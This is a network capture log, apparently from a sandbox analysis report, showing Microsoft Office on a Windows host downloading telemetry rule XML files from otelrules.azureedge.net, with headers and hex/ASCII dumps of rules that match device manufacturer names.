2024-11-25 02:40:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:34 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 070f5f04-601e-005c-0de2-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024034Z-174c587ffdf6b487hC1TEBydsn00000005bg0000000001rw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:35 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:34 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2eed8dc4-701e-0098-0dc6-3e395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024035Z-178bfbc474bq2pr7hC1NYCkfgg00000006xg00000000fghe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:35 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:34 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:35 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 15799d2c-401e-0047-13c9-3e8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024035Z-178bfbc474bv587zhC1NYCny5w00000006pg00000000e5hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:35 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:34 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:35 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024035Z-174c587ffdftv9hphC1TEBm29w0000000590000000008s6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:35 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.8	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:36 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024037Z-174c587ffdfx984chC1TEB676g000000057g00000000mfpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:36 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:37 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 90d7dcde-101e-008e-3d03-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024037Z-15b8b599d88pxmdghC1TEBux9c00000005f0000000008502 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:36 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:37 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 3257c6a6-201e-005d-32b4-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024037Z-178bfbc474bvjk8shC1NYC83ns00000006mg00000000hmmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:37 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:37 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024037Z-178bfbc474bgvl54hC1NYCsfuw00000006sg00000000g05s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:37 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:37 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ba9b913e-601e-0001-2f1a-3dfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024037Z-178bfbc474btvfdfhC1NYCa2en000000070g000000001ww4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:37 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:39 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024039Z-174c587ffdf8fcgwhC1TEBnn7000000005h0000000005gb9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:39 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:39 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:39 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: d33c8b0a-101e-00a2-48c7-3d9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024039Z-15b8b599d885ffrhhC1TEBtuv000000005eg000000003tss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:40:39 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:40:39 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:40:39 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:40:39 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: c9282152-e01e-0033-34a3-3e4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024039Z-15b8b599d88wn9hhhC1TEBry0g00000005f0000000001x7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:40:39 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49864	13.107.246.63	443

